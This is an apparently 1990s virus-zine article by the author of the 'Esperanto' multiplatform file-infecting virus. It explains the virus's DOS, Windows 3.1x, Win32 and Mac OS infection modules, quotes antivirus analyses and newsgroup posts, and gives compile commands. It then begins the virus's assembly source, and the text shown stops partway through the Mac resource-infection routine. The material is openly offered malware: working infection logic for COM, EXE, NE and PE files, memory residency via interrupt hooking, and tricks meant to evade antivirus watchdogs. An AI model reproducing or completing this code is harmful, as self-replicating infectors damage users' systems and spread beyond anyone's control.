ÚÄÄÄÄÄÄ¿ ÚÄÅÄÄÄÄÄÄÅÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÄÄDLE Universal entry point ³ ÀÄÄÄÄÄDLE³ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÃÄÄDLE Mac OS entry point ³ ³ÛÛÛÛ Mac OS ÛÛÛÛ³ ³ ³ÛÛÛÛ module ÛÛÛÛ³ ³ ³ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ³ ÀÄÄÄÄÄÄÄDLE³±±±±±±±±±±±±±±±±ÃÄÄDLE COM/EXE entry point ³±± DOS module ±±³ ³±±(not memres)±±³ ÚÄÄÄÄÄÄ´±±±±±±±±±±±±±±±±³ ÚÄÅÄÄÄÄÄÄ´°°°°°°°°°°°°°°°°ÃÄÄDLE NewEXE entry point ³ ³ ³°° Win module °°³ ³ ³ ³°°°°°°°°°°°°°°°°³ ³ ÀÄÄÄÄÄDLE³±±±±±±±±±±±±±±±±ÃÄÄDLE DOS memory resident code ÀÄÄÄÄÄÄÄDLE³±± DOS module ±±ÃÄÄDLE 16-bit infection routines ³±±(memory res)±±³ ³±±±±±±±±±±±±±±±±³ ³²²²²²²²²²²²²²²²²ÃÄÄDLE PE entry point ³²² W32 module ²²³ ³²²²²²²²²²²²²²²²²³ ³++++++++++++++++ÃÄÄDLE Data buffer ³+++++ Data +++++³ ³++++++++++++++++³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

2.1. The Mac OS module ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ This module (Motorola-opcoded) was written and compiled in a Mac computer. It has the format of a MDEF resource. It's executed every time an infected application is run under Mac OS. When this happens the module will perform the System File infection, so that the virus will be loaded every time the user boots from his hard disk. Then it will give control back to the host. From this moment onwards the virus will rapidly spread all over the system in a "chain" process: after its host has been run, the System File (remember, previously infected) will call and then infect the Mac OS Finder. The Finder, in its turn, will infect *any* accessed file (findfirst, findnext, open, close, chmod...), and this includes the DA Handler, the Desktop File (if available, only in Mac OS <7), control panels, extensions, etc.

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

Infection consists on simply adding a new MDEF resource to the victims and copying the whole viral code into it, setting execution priviledges to the resource with ID=0. Esperanto will not go memory resident twice. I think it would be fair to say that this was probably the part of the virus whose writing i enjoyed most as i had to develop it all myself because there are not any tutorials on Mac OS infection (as far as i know).

2.2.0. The DOS module ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ This module uses 16-bit Intel code, and was specifically designed to run in DOS. It has the peculiarity of being divided into two different chunks, each of them with a different mission. Now i'll try to describe the functioning and the behavior of both of these DOS submodules.

2.2.1. The DOS runtime module ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ This submodule is executed every time an infected COM or EXE file is run. When this happens, the DOS runtime module will try to perform two actions: first, become memory resident by hooking interrupt 21h; and second, restore its host in order to let it be executed. The residency method is completely standard, as the virus first checks for its presence in memory (in order to not to go resident twice), and if this is ok then creates a new MCB, sets it as a system one used by DOS, copies its code into it and then jumps to this copy, so no ëelta-offset is longer needed. Once this happens it will hook interrupt 21h, setting the new vector to the start of the DOS memory resident module, and then will check for the file format of its host, in order to rebuild and jump to it.

2.2.2. The DOS memory resident module ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ This submodule is executed every time the interrupt 21h is called once the virus has previously gone memory resident. Esperanto intercepts only three functions: its own interrupt service (a ":)" smiley), the findfirst service (4eh) and the findnext service (4fh). If the int call does not hold any of these services as request, the virus will jump to the original int 21h. Instead, Esperanto will perform several actions when having intercepted any of the functions in hooks. When the value held in AX is equal to 3a29h, which stands for a ":)" smiley, it will increment AH so the eyes will turn into a ";)" wink. This is used for the residency check to not to go memory resident twice. The execution will then jump to the original interrupt. If the value held in AH is equal to 4eh or 4fh (findfirst/findnext), Esperanto will try to set up the file for its infection. The virus will first store the full path and the filename, and later will check its extension. If the extension is .COM or .EXE, Esperanto will continue running the corresponding routines encharged of examining the file and determining whether it is infectable or not. Otherwise it will hand the control over the original interrupt service by means of a "retf" instruction.

The 16-bit infection routines ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ For the case the latter didn't happen, Esperanto is about to check the file in DS:DX in order to know if it is worth to be infected or not. But before doing any specific file check (which would depend on its extension), the virus does a call to the "system_checks" routine. This routine is kind of an "infection limiter", used in order to avoid the virus presence being

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

unveiled because of the system slowdown which would happen if there were no limits when infecting files. Thus, Esperanto will infect from 0 up to 3 files per (a maximum of a) minute. If the "system_checks" routine does not return a 0 in AH, then Esperanto has not infected 3 files yet in the same minute, so it may keep on seeking for victims. Now, if the possible victim is a COM file, the virus will check first for its infection mark (a ";)" smiley) in the offset 4 of the file. If this is ok then it will just assure itself the file is bigger than 5733 (the virus size+1000) and smaller than 59802 (65535-the virus size-1000). If the file has passed all the tests then it's good to be infected: 4733 bytes will be appended to its end and it will have a new 5 bytes long header (jmp+";)"). The conditions required for EXE files are different. The virus will see if the first word in the file is MZ or ZM. Later it will check for its infection mark, any overlay, and the presence of PkLite. If nothing goes bad it will then skip the file if it's smaller than 5733 (Esperanto+1000) and finally will see if it is a Windows EXE file. For the case it is not the virus will modify CS, IP, SS and SP besides other pointers in the MZ header, and then append itself to the end of the file. If it is about a Windows EXE file, it will decrement the pointer in 3ch to the new EXE header by 8, and then rewrite the MZ header. This new EXE header will be read (512 bytes) and then Esperanto will check for the NE (for NewEXEs) or PE (for PEs) mark. If a different mark (LE, LX...) is found, the file will be rejected, and the original header rebuilt. If it is about a NewEXE, the virus will check straight for the gangload area. If it is ok then Esperanto will infect the file: first it will update all the pointers related with the segment table, as it will be shifted. Later, the gangload area will be killed for compatibility, and the new CS:IP will be set. Finally the NE header and the segment table will be shifted by 8 and the viral code plus the relocation item appended to the end of the file. Finally, if the file turns out to be a PE the virus will read again the MZ header of the file and readd 8 to the pointer in 3ch. A page from the offset pointed by the latter will be read again (ie, the PE header), and then the checks will start again. These consist on checking if the file is executable and if it's not a DLL. After this, Esperanto looks for the import section in the file, reads it, and then looks for the KERNEL32.DLL module descriptor. Files which do not import any API from it will consequently be discarded, as well as binded files. The final step before infection consists on storing in a dynamic variable the RVAs for the GetModuleHandleA and GetProcAddress APIs. Once these steps are done the victim is ready for infection. The virus will attach itself as an extension of the last section in the file, and then will modify the AddressOfEntryPoint field so it points to the start of the virus, the section characteristics to exec/read /write, and the SizeOfImage field. And, of course, the virus will then append its body to the end of the file.

2.3. The Windows 3.1x module ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ This module is executed every time an infected NewEXE file is run. It will first of all get an alias selector for CS and point it with DS. As soon as this is done it will use its own runtime routines in order to look for some files (COM and EXE) to infect. To save bytes, the module shares the same infection routines used by the DOS module (read the "The 16-bit infection routines" point for further information). As soon as the maximum number of files to infect (according to the virus limiter) is reached, Esperanto will jump to the original CS:IP of its host.

2.4. The Win32 module

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ This last module is executed every time an infected PE file is run. It was written and compiled in 32-bit protected mode, and that is what it is able to work in: Win32 platforms (Win32s/Windows95/WindowsNT). When it's executed it first gets the base address of its host and pushes its real entry point, and later performs several actions in order to stay compatible and portable between all the Win32 platforms. These actions consist on getting the previously stored RVA of GetModuleHandleA and calling this API in order to get the address of the KERNEL32 module, and later getting the also previously stored RVA of GetProcAddress in order to use it and thus be able to get the address of all the APIs needed by Esperanto. If the RVAs of GetModuleHandleA and GetProcAddress were not stored for some reason, Esperanto would use its own undocumented routines in order to get the base address of KERNEL32 and, inside the export table of the latter, the address of the GetProcAddress API function. Once these steps are done Esperanto calls the GetLocalTime API in order to know if the current date is the one required by the payload to activate. This payload and its effects are fully described below. If the date is not the one the payload needs to activate then the execution will continue and the virus will use the FindFirstFileA/FindNextFileA APIs in order to find some files to infect. Again, the infection will be controlled and Esperanto will hit a maximum of three files per run. The checks performed by this module are the same than the ones performed by the DOS module, and the infection routines consist on exactly the same, besides in two points: first of them is the fact that this module uses file mapping in memory in order to make things easier and save bytes; and second is that this module does not infect NewEXE files, as divisions with 32-bit integers when DX is not equal to zero cause troubles; the solution would be either only infecting NewEXEs < 0ffffh (as done with EXEs) or making a 16-bit division. I didn't like any of them so i avoided a headache just by skipping NewEXE files.

2.5. Union makes the power ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ It's not about the fact that this virus has been written to be in the wild or shit like that. In fact i did not take care about restoring file attributes, date or time, because i wrote this just to "prove my point", not to release it and let it survive in the wild, so i don't care it being easy to detect or unveiling its presence. It was just a challenge for myself, not a defiance for innocent average-level computer users. It's about its versatility. You could see the virus consists on four modules. Each of those modules was written individually and thus would be able to work with no need of the presence of the resting modules (except of the Windows 3.1x one, which shares its infection routines because of optimization reasons). Separately they would be normal infectors. But they all together are a unique virus in its class. For the same reason, the infection ratio and the versatility of the virus are much bigger than if it would be separated into independent modules: the DOS module goes memory resident in order to infect files while the Windows 3.1x and the Win32 ones use runtime infection. But what happens if the virus (the DOS module) is memory resident and Windows 3.1x or a Win32 platform is loaded? the result is that Esperanto will then use both memory *and* runtime infection as the DOS module is able to stay resident also under Windows and both Windows 3.1x and Win32 call the original 4eh/4fh services of interrupt 21h in order to find files. Esperanto would be, as you can see, much more infectious. And don't see this as a remote possibility, as WIN.COM is usually the first file the virus infects from its Windows 3.1x module, for instance. Finally i would like to add a clarification about the virus. You will probably find strange or non-sense things on it, or even things you can't understand or think they're wrong or could be improved. And you will kind be

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

right and kind be wrong... "they are not bugs, they are features". What do are bugs are some included on purpose in order to stop the virus spreading fast so it can't go too far in the wild. Note again that the purpose of this virus is not to infect people and thus become widespread in the wild; its real objective is summed up in the pretty famous Nike slogan... "just do it" ;)

3. Payload ÄÄÄÄÄÄÄÄÄÄ This virus took its name after the universal language Esperanto. This language was invented in 1887 by L.L.Zamenhof, a polish doctor. Esperanto was designed to be the second language of everyone, and then was invented with no irregularities and/or exceptions, so everybody would be able to rapidly and easily learn it and communicate with other Esperanto speakers. It initially had a lot of success, but its growing process was stopped by the II World War as lots of its speakers died in it. Since about ten years ago it is experiencing a new peak, and its use has been recommended many times by international organisms such as UNESCO, which also stress its paedagogy as Esperanto, once learnt, makes the learning process of other languages much easier. Today, Esperanto is spoken by about ten million people. I found some parallelism between this language and my virus because as the language goes beyond any culture, race or whatsoever the virus goes beyond any processor, platform or file format. And also because i personally support and speak Esperanto it seemed to me the perfect name for my virus. The payload activates every year on july 26th, which was the release date, in 1887, of "Internacia Lingvo" (International Language), by Zamenhof, the first book written in Esperanto. Today there are over ten thousand titles. The virus payload will activate only when running in a Win32 platform, and consists on showing the text below within a message box. When the user accepts the "ok" button the virus jumps straight to the host, without infecting any file (that's its only vacancy time).

Never mind your culture / Ne gravas via kulturo, Esperanto will go beyond it / Esperanto preterpasos gxin; never mind the differences / ne gravas la diferencoj, Esperanto will overcome them / Esperanto superos ilin. Never mind your processor / Ne gravas via procesoro, Esperanto will work in it / Esperanto funkcios sub gxi; never mind your platform / Ne gravas via platformo, Esperanto will infect it / Esperanto infektos gxin. Now not only a human language, but also a virus... Turning impossible into possible, Esperanto.

What reads after the slash in every line is, of course, the translation of the english "verse" into Esperanto. And yes, i know it looks strange :)

4.0 The "other side" ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ It has only passed one week after having sent the virus to two AVers. This is what we could get from them by the moment. Further reports and analyses will be referenced in the next issue of 29A.

4.1. Mikko Hypp”nen speaks (F-Prot)

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ (*) http://www.DataFellows.com/v-descs/esperant.htm - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 NAME: Esperanto TYPE: Resident COM/EXE-files This virus infects lots of different executables: When running in DOS and Windows 3.1x it will infect: - DOS COM files - DOS EXE files - Windows 3.x NewEXE files, - Windows 95 PE EXE files - Windows NT PE EXE files When running in Windows 95, Windows NT and Win32s it will infect: - DOS COM files - DOS EXE files - Windows 95 PE EXE files - Windows NT PE EXE files The virus carries a dropper of a Macintosh virus in it's code. This will work under Mac and PowerMac and will infect: - Mac OS applications - Extensions - Control panels - The System File - The Mac OS Finder - The DA Handler - The Desktop File When Esperanto is running on a PC, it will stay resident and infect programs when they are accessed. When such COM and EXE files are taken to a Macintosh or a PowerMac and executed under a PC emulator such as SoftPC or SoftWindows, they will execute as Mac programs. This happens because Esperanto adds a special resource-like add-on to PC files. Such programs will drop a Mac-specific virus which will continue spreading on Macintosh computers. The Mac version of the virus will not spread back to PC users. PC version of the virus won't infect Mac executables directly even if it would have access to them through floppies or file sharing. Esperanto activates every year on July 26th. The first book in the international Esperanto language was released on this date. When an infected file is executed under Windows 95 or Windows NT on this date, the virus will show a dialog box with the following texts: Never mind your culture / Ne gravas via kulturo, Esperanto will go beyond it / Esperanto preterpasos gxin; never mind the differences / ne gravas la diferencoj, Esperanto will overcome them / Esperanto superos ilin. Never mind your processor / Ne gravas via procesoro, Esperanto will work in it / Esperanto funkcios sub gxi; never mind your platform / Ne gravas via platformo, Esperanto will infect it / Esperanto infektos gxin. Now not only a human language, but also a virus... Turning impossible into possible, Esperanto. The Mac version of Esperanto was the first new Mac virus for over two

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

years when it was discovered in November 1997. [Analysis: Mikko Hypponen, Data Fellows Ltd] - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

4.2. Eugene Kaspersky speaks (AVP) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ (*) http://www.avp.ch/avpve/file/e/esperant.stm - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 Esperanto.4733 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ This is a multiplatform parasitic virus. It infects DOS COM and EXE, Windows EXE (NE) and Windows32 EXE (PE) files. It also has a part of code that looks like a MDEF Macintosh resource and seems to be also a virus for the Macintosh. I see no way for that virus to spread from Macintosh to PC, and from PC to Macintosh - being executed as DOS/Win application the virus pays no attention for Mac files. It seems to be the same for infected Mac programs - the virus does not pay attention for DOS/Win files. I think that the only way to spread that virus from Mac to PC and back is to copy and run it "manually". When an infected file is executed under DOS, the virus hooks INT 21h and stays memory resident. When files are executed or accessed by FindFirst/ Next DOS calls, the virus infects them. The virus also searches for COM and EXE files and infects them. Being executed as Windows or Windows32 application, the virus does not leave its TSR copy in the memory - it just searches for files and infects them. While infecting the virus parses internal file format, separates DOS COM, EXE, NewEXE and Portable EXE files and infects them in different ways: writes itself to the end of DOS COM and EXE files and modifies file header, creates new section in Windows NE files, appends itself to the last section in Windows32 PE files. Being executed as Windows32 application the virus also checks the system time and depending on it displays the MessageBox: [Esperanto, by Mister Sandman/29A] Never mind your culture / Ne gravas via kulturo, Esperanto will go beyond it / Esperanto preterpasos gxin; never mind the differences / ne gravas la diferencoj, Esperanto will overcome them / Esperanto superos ilin. Never mind your processor / Ne gravas via procesoro, Esperanto will work in it / Esperanto funkcios sub gxi; never mind your platform / Ne gravas via platformo, Esperanto will infect it / Esperanto infektos gxin. Now not only a human language, but also a virus... Turning impossible into possible, Esperanto. The virus also contains the text strings that are used while infecting Windows32 files: KERNEL32.DLL USER32.DLL GetModuleHandleA GetProcAddress MessageBoxA CreateFileA CreateFileMappingA MapViewOfFile UnmapViewOfFile CloseHandle FindFirstFileA FindNextFileA FindClose LoadLibraryA GetLocalTime - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

4.3 Keith Peer speaks (AVP)

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ (*) alt.comp.virus - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 From - Sat Nov 22 02:03:41 1997 From: Keith Peer Newsgroups: alt.comp.virus Subject: New Multi-Operating System virus discovered! Date: Thu, 20 Nov 1997 12:54:01 -0500 Organization: Central Command Inc. To: [email protected] November 20, 1997 FOR IMMEDIATE RELEASE Renee Barnhardt Central Command Inc. 330-273-2820 [email protected] Central Command today announces the discovery of new multi-operating system virus. New cross platform virus that can infect all popular desktop computers. Brunswick, OH, November 20, 1997 Central Command Inc. the U.S. distributor for AntiViral Toolkit Pro (AVP) announces today that a new computer virus has been discovered that can operate under DOS, Windows, Windows 95, Windows NT, and Macintosh operating systems. "We are seeing a lot of new technology in computer viruses today. It seems that the virus writers are concentrating more on developing sophisticated viruses that extend further and infect more widely. I am sure this will not be the last virus we encounter that can infect DOS, Windows, Windows 95, Windows NT, and Macintosh operating systems, but right now this is the first." Said Central Command's President, Keith Peer. This multiplatform parasitic virus named Esperanto.4733, infects DOS, COM and EXE programs, Windows EXE (NE) and Windows32 EXE (PE) files. It also has instructions that look for MDEF Macintosh resources and also operates under the Macintosh environment. There is no way for this virus to spread from Macintosh to PC, and from PC to Macintosh. When a infected program is started as a DOS or Windows application the virus does not execute the Macintosh instructions. The same effect happens when a infected Macintosh program is started, the virus simply ignores the DOS, and Windows instructions. Currently, the only way for this virus to spread from a PC to a Macintosh is by copying it. While infecting the virus searches the internal file format of the programs, and separates DOS, COM and EXE programs, Windows, Windows 95, Windows NT, and Macintosh programs and infects differently. [...Publicity...] --------------------------------------------------------Central Command Inc. AntiViral Toolkit Pro http://www.command-hq.com [email protected] Ph: 330-273-2820 Fax: 330-220-4129 -> See our website for free software evaluations! <--------------------------------------------------------- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

4.4. Guillermito speaks ;) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ (*) alt.comp.virus - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 From - Sat Nov 22 02:04:19 1997 From: Guillermito Newsgroups: alt.comp.virus Subject: Re: New Multi-Operating System virus discovered! Date: Fri, 21 Nov 1997 09:16:28 +0100 Organization: INRA des Villes Keith Peer wrote: > > > >

This multiplatform parasitic virus named Esperanto.4733, infects DOS, COM and EXE programs, Windows EXE (NE) and Windows32 EXE (PE) files. It also has instructions that look for MDEF Macintosh resources and also operates under the Macintosh environment.

Hey MrSandman! Lo has conseguido! Que cojonudo, tio! Cabanas/Esperanto: 29A is the best virus group on earth. -Guillermito http://www.pipo.com/guillermito/darkweb/virus.html - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 My reply: lo tuyo s¡ que se sale... ;) Espero verte de nuevo en la pr¢xima reuni¢n de 29A este verano, a ver si esta vez no te pierdes en Madrid ;) Btw, the guys at AVP don't seem to have understood very well the way Esperanto jumps from a PC to a Macintosh computer. I would also like to make a special mention to Alan Sollomon (aka Alan Salmon), who, resentful for not being one of "the chosen", tried to follow Bontchev's steps (he knows what i mean). This makes nothing but confirming my opinion on who in the AV side makes a serious and proffesional work and who prefers to get some notoriousness by trying to create actually inexistent conflicts between VX and AV and even between AV and AV themselves, rather than cordiality. "That's the way they act, that's why their products suck". And Kaspersky... you rock, but you should stop believing you're a god. Get some time to learn a better english and something on Win32 viruses, try to approach your previous modest behavior rather than Daniloff's, and that is when you'll start to write again those dazzling virus analyses such as the unforgettable work you did with Zhengxi. However i still admire you.

5. Greetings ÄÄÄÄÄÄÄÄÄÄÄÄ I would like to thank Jacky Qwerty very especially for his big help in the Win32 module (as well as in some stupid bugs) :) I wouldn't have been able to write the Win32 module without him. What can i say man... thank you very much, you rock ;) Also very special thanks to GriYo, who provided to me as well as Jacky very valuable information and code about PE infection under Win32, when we all (Jacky, GriYo and i) were working on the subject. A very special greeting also for Vecna, who is nowadays doing the military service in Brazil, his country... i'll never forget what you said about my

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

virus, we all miss you and hope to see you soon, friend :) Btw, Guillermito... what about your "virus of the year" contest? ;)

6. Compiling it ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Don't even think on trying to compile the source code below. To do it, you should first separate three of the four modules, compile each of them with a different mode and/or compiler, and then put again the whole stuff together into one only file, keeping the data area untouched and having to modify *every* pointer to it in the viral code. Better to use the already compiled binary provided by us, right? :) Anyway these are the compiling modes, for those of you who are curious about what did i use for compiling Esperanto. Btw, the compiler for the Mac OS module was CodeWarrior (i had to insert the ASM code inside a C source).

DLE DOS+Windows 3.1x modules tasm /m espodos.asm tlink espodos.obj exe2bin espodos.exe espodos.com DLE Win32 module tasm32 -ml -m5 -q -zn espow32.asm tlink32 -Tpe -c -x -aa espow32.obj,,, import32.lib pewrsec espow32.exe

.model .code org

tiny 0

; Í͹ Absolute virus start ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

espo_start espo_mem_size espo_file_size reloc_size dseta_offset text_size base_default

.386 label equ equ equ equ equ equ

byte espo_mem_end-espo_start espo_file_end-espo_start reloc_end-reloc_start dseta_byte-espow32_start text_end-text_start 400000h

; ; ; ; ; ; ; ;

Intel 80386 real mode Define virus start Define size in memory Define size in file Relocation size (NE) Dseta-offset size Size of payload text Base default address

; ÄÄ´ Universal entry ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ; DLE Note: this is the entry point for infected COM, EXE and Mac OS files. If ; the following instruction is executed in an Intel processor, it will jmp ; to the real entry for COM and EXE files. Otherwise (when running under a ; Motorola or PowerPC processor) it will be interpreted and executed as if ; it were plain data, thus being able to reach the real entry for infected ; Mac OS applications, which starts with a branch to the definitive entry. com_exe_entry:

jmp

real_ce_entry

; Jumps only in PCs

; Í͹ Mac OS module ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ espo_header:

bra.s dc.w dc.l

mac_os_entry #$0 #'MDEF'

; Jump to virus code ; Header gaps for later ; initialization in the

dc.l dc.l

#$0 #$0

; jump table built by ; the Mac OS Finder

; ÄÄ´ Entry point for Mac OS applications ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ mac_os_entry:

lea move.l bra

espo_body:

link a6,#-$24 movem.l d4-d7/a2-a4,-(sp) move.l $14(a6),d5

; Link code address ; Push in our registers ; Use d5 as ëelta-offset

movea.l move.b ext.w subq.w beq

#$a25,a3 (a3),d0 d0 #$3,d0 infect_mac_os

; ; ; ; ;

In $a25 (MenuFlash), look for our action code (3) in order to know if our code is already active or not

move.b clr.w moveq tst.w bne

#$3,(a3) d7 #$2,d6 d7 search_loop

; ; ; ; ;

Else switch the flag on as we're going to run or handling code Look for our resident code thru the memory

movea.l move.b ext.w cmpi.w bne.s

d6,a3 (a3),d0 d0 #'M',d0 search_loop

; ; ; ; ;

Code apparently found Now check for our header and identifiers Is it an 'M'? Keep on searching

move.l addq.l movea.l move.b ext.w cmpi.w bne.s

a3,d0 #$1,d0 d0,a0 (a0),d0 d0 #'D',d0 search_loop

; ; ; ; ; ; ;

First byte is an 'M' Now check the 2nd one Move address+1 to a0 Move second byte to d0 Extend d0 Is it a 'D'? Keep on searching

move.l addq.l movea.l move.b ext.w cmpi.w bne.s

a3,d0 #$2,d0 d0,a0 (a0),d0 d0 #'E',d0 search_loop

; ; ; ; ; ; ;

Base address to d0 Checking 3rd byte... Move the address to a0 Move the byte to d0 Extend d0 Is it an 'E'? Keep on searching

move.l addq.l movea.l move.b ext.w cmpi.w bne.s

a3,d0 #$3,d0 d0,a0 (a0),d0 d0 #'F',d0 search_loop

; ; ; ; ; ; ;

Base address to d0 Let's check 4th byte Move its address to a0 Move 4th byte to d0 Extend d0 Is it an 'F'? Keep on searching

move.l addq.l movea.l move.b ext.w cmpi.w bne.s

a3,d0 #$4,d0 d0,a0 (a0),d0 d0 #$67,d0 search_loop

; ; ; ; ; ; ;

Restore address in d0 d0+$4=5th byte to see Move its address to a0 Move 5th byte to d0 Extend d0 Check for Esperanto resource first ID

check_offset:

espo_header,a0 a0,$9ce espo_body

; Copy our code location ; to $9ce (ToolScratch) ; for later reference

search_loop:

move.l addq.l movea.l move.b ext.w cmpi.w bne.s

a3,d0 #$5,d0 d0,a0 (a0),d0 d0 #$26,d0 search_loop

; ; ; ; ; ; ;

Base address in d0 Checking 6th byte Move its address to a0 Move the byte to d0 Extend d0 Check for the 2nd ID Wrong ID, search again

move.l addq.l movea.l move.b ext.w cmpi.w bne.s

a3,d0 #$6,d0 d0,a0 (a0),d0 d0 #$0c,d0 search_loop

; ; ; ; ; ; ;

Get the address for the 7th and last byte, which has to be our 3rd resource ID ($0c) Extend d0 Everything ok? Wrong, how bad luck :(

move.b moveq addq.l cmpi.l ble

#'W',(a3) #$1,d7 #$1,d6 #$30d40,d6 check_offset

; ; ; ; ;

Change MDEF to WDEF to fool some AV watchdogs and to limit too fast infection, as WDEF is a less called resource

; ÄÄ´ Mac OS applications infection routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ infect_mac_os:

subq.w #$4,sp move.l #'CODE',-(sp) clr.w -(sp) _GetResource

; ; ; ;

Empty stack (4 bytes) Push the resource name we're looking for and clear the stack

movea.l (sp)+,a4 subq.w #$2,sp move.l a4,-(sp) _HomeResFile

; ; ; ;

Move address to a4 Empty stack (2 bytes) Push 'CODE' address Home resource file

move.w (sp)+,d4 subq.w #$2,sp _CurResFile

; Move address to d4 ; Empty stack (2 bytes) ; Current resource file

move.w (sp)+,d7 subq.w #$4,sp move.l #'MDEF',-(sp) move.w #$espo_file_size,-(sp) _GetResource

; ; ; ; ;

movea.l (sp)+,a4 move.l a4,d0 bne.s new_mdef

; Move address to a4 ; Does it exist? ; Go and create it

subq.w #$4,sp move.l #'MDEF',-(sp) pea first_tab _GetNamedResource

; ; ; ;

movea.l (sp)+,a2 move.l a2,-(sp) _DetachResource

; Move its address to a2 ; Push it onto the stack ; Detach resource

clr.w -(sp) _UseResFile

; Clear the stack ; Use the MDEF resource

subq.w move.l clr.w

; Empty stack (4 bytes) ; Move the resource name ; Clear one word

#$4,sp #'MDEF',-(sp) -(sp)

Move address to d7 Empty stack (4 bytes) Move the resource name we're looking for (Try to) get it

Empty stack (4 bytes) Move resource name Move identifier Get MDEF address

new_mdef:

_GetResource

; Open the MDEF resource

movea.l (sp)+,a4 move.l a4,-(sp) move.w #$espo_file_size,-(sp) pea name_only _SetResInfo

; ; ; ; ;

move.l a4,-(sp) _ChangedResource

; Move handle into stack ; Resource has changed

move.l a4,-(sp) _WriteResource

; Move handle into stack ; Write a new MDEF res.

move.l a2,-(sp) move.l #'MDEF',-(sp) clr.w -(sp) pea second_tab _AddResource

; ; ; ; ;

clr.w -(sp) _UpdateResFile

; Clear one word ; Update resource file

subq.w #$4,sp move.l #'MDEF',-(sp) move.w #$espo_file_size,-(sp) _GetResource

; ; ; ;

Empty stack (4 bytes) Now open again the MDEF resource in order to complete infection

